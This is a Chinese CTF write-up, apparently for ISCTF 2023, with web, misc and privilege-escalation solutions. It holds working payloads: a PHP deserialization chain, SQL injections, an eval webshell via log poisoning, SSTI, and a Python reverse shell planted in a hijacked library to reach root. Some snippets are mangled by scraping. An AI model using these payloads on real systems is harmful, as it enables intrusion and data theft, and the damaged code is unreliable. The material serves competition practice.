web

圣杯战争!!!

题目:

PHP
<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo “为Saber选择了对的武器!
“;
return $this->excalibuer->arrow;
}
}

class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo “蓄力!咖喱棒!!
“;
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo “胜利!
“;
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;

public function __wakeup(){
echo “开始召唤从者!
“;
echo $this->Saber;
}
}

if(isset($_GET[‘payload’])){
unserialize($_GET[‘payload’]);
}
?>

POP链:summon->artifact->prepare->saber

EXP:

PHP
<?php
class artifact{
public $excalibuer;
public $arrow;
}

class prepare{
public $release;
}
class saber{
public $weapon;
}
class summon{
public $Saber;
public $Rider;
}
$artifact=new artifact();
$prepare=new prepare();
$saber=new saber();
$summon=new summon();
$summon->Saber=$artifact;
$artifact->excalibuer=$prepare;
$prepare->release=$saber;
$saber->weapon=”php://filter/read=convert.base64-encode/resource=flag.php”;

echo serialize($summon);

?>

?payload=O:6:”summon”:2:{s:5:”Saber”;O:8:”artifact”:2:{s:10:”excalibuer”;O:7:”prepare”:1:{s:7:”release”;O:5:”saber”:1:{s:6:”weapon”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;}}s:5:”arrow”;N;}s:5:”Rider”;N;}

where_is_the_flag

当前目录下一个

根目录下一个

环境变量里一个

绕进你的心里

md5和第一个preg都用数组绕过

然后第二个preg和strpos组合的话用正则回溯绕过

payload:

Python
import requests

data={“pan_gu”:”a”*1000000+”2023ISCTF”}
url=”http://43.249.195.138:22110/” /> res = requests.post(data=data,url=url)

print(res.text)

easy_website

同款题:[SWPUCTF 2022 新生赛]ez_sql

URL:http://43.249.195.138:20597/check.php

过滤or select 用双写绕过

空格用/**/绕过

查当前库

查当前库下的表

列出全部列的内容,最后发现是password里有flag

payload:

POST:
username=0’/**/uunionnion/**/sselectelect/**/group_concat(passwoorrd)/**/from/**/users.users/**/#&password=

Wafr

payload

POST

code=system(‘ca\t /f*’)%0a

webinclude

打开就要参数

dirsearch扫下备份文件

下载index.bak查看源码

定义了两个函数,并且利用这两个函数对原本的参数名进行了加密处理

最后加密结果为dxdydxdudxdtdxeadxekdxea

写个逆向脚本再反求parameter即可

JavaScript
const hash = ‘dxdydxdudxdtdxeadxekdxea’;

function string_to_int_array(str) {
const intArr = [];
for (let i = 0; i < str.length; i++) {
intArr.push(str.charCodeAt(i) – 97);
}
return intArr;
}

function int_array_to_string(int_array) {
let str = ”;
for (let i = 0; i < int_array.length; i += 2) {
const charcode = int_array[i] * 26 + int_array[i + 1];
str += String.fromCharCode(charcode);
}
return str;
}

console.log(int_array_to_string(string_to_int_array(int_array_to_string(string_to_int_array(hash)))));

得到参数名:mihoyo

” />伪协议直接读,解码base64即可

ez_ini

上传.user.ini文件

TOML
GIF89A
auto_append_file=”/var/log/nginx/access.log”

UA头添加木马:

PHP
<?php @eval($_POST['shell']);?

POST:

shell=system(‘tac /flag’);

fuzz!

flag在/flaggggggg.txt中,要bypass

fuzz脚本

PHP
|\,|\?|jay/i”, $i)) {
echo chr($i);
}
}
?>

排除数字和字母后只剩以下符号可用
-./:[]{|} 空格

“|”没ban,可以放在开头结束前面的curl,然后拼接我们自己的系统命令

flag关键字过滤可以用”[]”正则匹配绕过

paylaod

” />

1z_Ssql

先摸索了一下,发现union和=号过滤

过滤等于号,改用>号即可

union过滤就用不了联合查询注入了,考虑布尔盲注

admin’ and length(database()) > 1#爆破当前数据库长度

爆到6报错,说明当前数据库长度为6

继续爆库名

从第一位开始,从a字母开始

admin’ and substr(database(),1,1) > ‘b’ #第一位为b

admin’ and substr(database(),2,1) > ‘t’ #第二位为t

后面爆出当前库名字就是出题人名字:bthcls

附件拿到两个字典,应该是表和列的,使用bp来爆破

admin’ and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>’a’ #

根据返回长度找到对应表 列

得到bthcls.users.password有值

爆数据,字典为32-127纯数字(可打印字符的ascii十进制值)

admin’and ascii(substr((select group_concat(password)from bthcls.users limit 0,1),1,1))>§32§ #

得到第一位的asciii码十进制为119

后续相同操作一直爆,最后爆出完整密码:119 101 49 99 111 109 101 55 111 49 115 99 116 102

对应字符:we1come7o1sctf

账号:admin

密码:we1come7o1sctf

恐怖G7

无过滤ssti,直接注入,flag在环境变量里

{{url_for.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘env’).read()”)}}

MISC

签到题

附件拿到PS拼接

扫码回复题目要求信息即可得到flag

杰伦可是流量明星

拿到mp3文件,binwalk出一个压缩包

wireshark打开

在tcp.stream eq 2中找到flag

你说爱我?尊嘟假嘟

你说爱我替换为Ook.

尊嘟替换为Ook!

假嘟替换为Ook” />https://www.splitbrain.org/services/ook

解得:

ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z

再base64解密

easy_zip

6位数字爆破密码即可

蓝鲨的福利

010打开添加89504E47后保存为png文件打开即可

EZcrc

附件拿到zip文件

https://github.com/AabyssZG/CRC32-Tools

Python xxx.py -3 文件名(zip放同目录下)

工具提取下crc值

排下顺序

Python
# 读取整个文本文件内容
with open(‘C:/Users/Nanian233/Desktop/a.txt’, ‘r’) as file:
content = file.readlines()

# 提取文件名和对应的十六进制数值,放入元组列表
data = [(line.split(‘:’)[0].strip(), int(line.split(‘:’)[1].strip(), 16)) for line in content]

# 按照文件名的数字顺序对元组列表进行排序
sorted_data = sorted(data, key=lambda x: int(x[0].split(‘.’)[0].split()[-1]))

# 输出排序后的结果
for entry in sorted_data:
print(f”{entry[0]}: {hex(entry[1])}”)

改为标准格式

Python
import re

def extract_hex(file_content):
# 使用正则表达式匹配每一行txt后面的十六进制数据
hex_values = re.findall(r’\[OK\] \d+\.txt: (0x[0-9a-fA-F]+)’, file_content)

# 将十六进制数据用逗号隔开,头尾套上方括号
result_str = ‘[‘ + ‘,’.join(hex_values) + ‘]’

return result_str

if __name__ == ‘__main__’:
# 用于测试的示例文本,你需要替换成你的实际文本
example_text = “””
[OK] 0.txt: 0xd2b184ff
[OK] 1.txt: 0xb462df74
[OK] 2.txt: 0x32973a9e
… (其他行)
[OK] 217.txt: 0xef809c83
“””

result = extract_hex(example_text)
print(result)

爆破脚本 blog.csdn.net

Python
import zlib

crc_list = [xxxx]# 遍历所有可能的3字节数据
for target_crc in crc_list:
for i in range(256):
for j in range(256):
for k in range(256):
data = bytes([i, j, k]) # 构造3字节数据
crc = zlib.crc32(data) & 0xffffffff # 计算CRC32值
if crc == target_crc:
data=data.decode()
print(f”Found matching data: {data}”)
break

print(“Finished searching.”)

手工分离一下

字母表:https://www.xuezimu.com.cn/info/26zimu.php

对照翻译后得到

U1ZORFZFWjdNV1EzTnpjMVpXUXRZV1JoTUMwMFl6WTNMV0l4T0RVdE1HSXpZelF4WXpsa05tUXlmUT09

两段base64解密得到flag

镜流

bandizip爆破压缩包密码

查看hint:

想起了GDOUCTF的题目了

2023 广东海洋大学 GDOUCTF Writeup By AheadSec_末 初的博客-CSDN博客

借用师傅的脚本,改12为10即可

Python
from PIL import Image

img = Image.open(‘arcaea.png’)
w = img.width
h = img.height
img_obj = Image.new(“RGB”,(w//10,h//10))

for x in range(w//10):
for y in range(h//10):
(r,g,b)=img.getpixel((x*10,y*10))
img_obj.putpixel((x,y),(r,g,b))

img_obj.save(‘ok.png’)

提取出一个新的png图片

zsteg查看发现还藏了一张图在lsb最低位处

zsteg -e b1,rgb,lsb,xy ok.png -> out.png 提取出来得到flag

ezUSB

wireshark分析流量特征,发现有蓝牙和usb流量

tshark- T json -r 题目.pcapng >output.json

提取数据以json格式

usb流量:

strings output.json | grep “usbhid.data”>1.txt(提取usb流量)

去掉字段名和开头的01字节,并取随后的8byte保存

Python
#!/usr/bin/env python
# -*- coding:utf-8 -*-

normalKeys = {“04″:”a”, “05”:”b”, “06”:”c”, “07”:”d”, “08”:”e”, “09”:”f”, “0a”:”g”, “0b”:”h”, “0c”:”i”, “0d”:”j”, “0e”:”k”, “0f”:”l”, “10”:”m”, “11”:”n”, “12”:”o”, “13”:”p”, “14”:”q”, “15”:”r”, “16”:”s”, “17”:”t”, “18”:”u”, “19”:”v”, “1a”:”w”, “1b”:”x”, “1c”:”y”, “1d”:”z”,”1e”:”1″, “1f”:”2″, “20”:”3″, “21”:”4″, “22”:”5″, “23”:”6″,”24″:”7″,”25″:”8″,”26″:”9″,”27″:”0″,”28″:””,”29″:””,”2a”:”“, “2b”:”\t”,”2c”:””,”2d”:”-“,”2e”:”=”,”2f”:”[“,”30″:”]”,”31″:”\\”,”32″:””,”33″:”;”,”34″:”‘”,”35″:””,”36″:”,”,”37″:”.”,”38″:”/”,”39″:””,”3a”:””,”3b”:””, “3c”:””,”3d”:””,”3e”:””,”3f”:””,”40″:””,”41″:””,”42″:””,”43″:””,”44″:””,”45″:””}
shiftKeys = {“04″:”A”, “05”:”B”, “06”:”C”, “07”:”D”, “08”:”E”, “09”:”F”, “0a”:”G”, “0b”:”H”, “0c”:”I”, “0d”:”J”, “0e”:”K”, “0f”:”L”, “10”:”M”, “11”:”N”, “12”:”O”, “13”:”P”, “14”:”Q”, “15”:”R”, “16”:”S”, “17”:”T”, “18”:”U”, “19”:”V”, “1a”:”W”, “1b”:”X”, “1c”:”Y”, “1d”:”Z”,”1e”:”!”, “1f”:”@”, “20”:”#”, “21”:”$”, “22”:”%”, “23”:”^”,”24″:”&”,”25″:”*”,”26″:”(“,”27″:”)”,”28″:””,”29″:””,”2a”:”“, “2b”:”\t”,”2c”:””,”2d”:”_”,”2e”:”+”,”2f”:”{“,”30″:”}”,”31″:”|”,”32″:””,”33″:”\””,”34″:”:”,”35″:””,”36″:””,”38″:”” />”,”3a”:””,”3b”:””, “3c”:””,”3d”:””,”3e”:””,”3f”:””,”40″:””,”41″:””,”42″:””,”43″:””,”44″:””,”45″:””}
output = []
keys = open(‘change.txt’)#数据文件路径
for line in keys:
try:
if line[0]!=’0′ or (line[1]!=’0′ and line[1]!=’2′) or line[3]!=’0′ or line[4]!=’0′ or line[9]!=’0′ or line[10]!=’0′ or line[12]!=’0′ or line[13]!=’0′ or line[15]!=’0′ or line[16]!=’0′ or line[18]!=’0′ or line[19]!=’0′ or line[21]!=’0′ or line[22]!=’0′ or line[6:8]==”00″:
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]==’2′]
else:
output += [‘[unknown]’]
except:
pass
keys.close()

flag=0
print(“”.join(output))
for i in range(len(output)):
try:
a=output.index(‘‘)
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]==””:
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print (‘output :’ + “”.join(output))

得到后半段flag

收集删除的字符可以发现key:soezusb

蓝牙流量:

strings output.json | grep “btatt.value”>2.txt

修改下格式后保存,依旧使用上面的脚本

先进行flag连接:

AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!}
keysoezusb

维吉尼亚密码

ISCTF{So_ez_USB_AND_VIGENERE!!!}

小蓝鲨的秘密

伪加密

改两个00即可

png图片拉下宽高

得到key:15CTF2023

解密AES即可

在线AES加密 | AES解密 – 在线工具

Ez_misc

拿到附件

ppt最后一张图备注处拿到密码:M13c_!ps2s23

解压flag.zip后发现jpg文件打不开

010打开后发现文件头缺失,补充即可

打开得到二维码,扫码得到flag

spalshes

预期解:

解密文本拿到点坐标

Python
import matplotlib.pyplot as plt
# 提供的数据
data =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,
4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,
5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,
7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,
9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,
11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1]
# 将数据分割成 x 和 y 坐标
x = data[::3]
y = data[1::3]
# 绘制散点图
plt.scatter(x,y)
plt.title(‘Scatter Plot’)
plt.xlabel(‘X-axis’)
plt.ylabel(‘Y-axis’)
plt.show()

拿到密码后解压得到二维码,扫码获得flag

非预期解:

直接爆破6位纯数字

出题人年轻了

张学森,下雪了

附件拿到zip和字典

字典爆破出密码:blueSHARK666

结合题目推测flag.txt内有snow隐写

hint.txt先进行base64 17次解密后再进行字频统计得到密码:ISCTFZ023

snow解密即可

MCSOG-猫猫

在群里发送指定消息

复制信息到vim中发现有零宽隐写

https://www.mzy0.com/ctftools/zerowidth1/

勾选200C 202C 200E即可

stream

发现是盲注流量,Tshark提取一下

tshark -r xxx.pcapng -Y “http.request” -T fields -e http.request.full_uri > data.txt

删除一些其他数据并url解码后就得到完整的盲注日志了

BUU 流量分析 sqltest – 云千 – 博客园

Python
# 读取输入文件
with open(‘xxx’, ‘r’) as file:
lines = file.readlines()

# 初始化上一行指定位置的数字
prev_digit_position = 0

# 遍历每一行数据
for line in lines:
# 获取当前行指定位置的数字
start_index = line.find(“SELECT flag from answer limit 0,1),”) + len(“SELECT flag from answer limit 0,1),”)
end_index = line.find(“,1))=”)

if start_index != -1 and end_index != -1:
digit_position = int(line[start_index:end_index])

# 检查指定位置的数字是否发生变化
if prev_digit_position + 1 == digit_position:
# 输出当前行的上一行指定位置的数据
prev_line = lines[lines.index(line) – 1]
start_shuju = prev_line.find(“,1))=”) + len(“,1))=”)
end_shuju = prev_line.find(“–“)
print(chr(int(prev_line[start_shuju:end_shuju])),end=””)

# 更新上一行指定位置的数字
prev_digit_position = digit_position

PNG的基本食用

1 修复宽高

得到第一段flag

ISCTF{png-is-

2 lsb最低位

so-ez-

3 binwalk分离出压缩包

解压得到第三段

for-you}

ISCTF{png-is-so-ez-for-you}

sudopy

ssh -p 21269 ctf@43.249.195.138

password:ctf

连接题目后,先pwd查看当前位置

ls -al 发现flag和一个web.py文件

但是flag得root才能访问

sudo -l 显示出自己(执行 sudo 的使用者)的权限

发现/usr/bin/python3 /home/ctf/web.py 这样是可以sudo运行不需要密码的

看下web.py的内容

导入了一个叫webbrowser的库

找下它的位置

Linux权限提升:Python库劫持 – FreeBuf网络安全行业门户

根据文章提到的操作,在webbrowser.py里放入反弹shell

vim /usr/lib/python3.10/webbrowser.py

反弹shell:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机ip”,监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);

保存后退出,同时再开个终端连vps,连上后nc -lvnp 端口 开启监听

然后在靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py

成功连接,并且是root权限

接着cd /home/ctf 后 cat flag即可

Copyright © maxssl.com 版权所有 浙ICP备2022011180号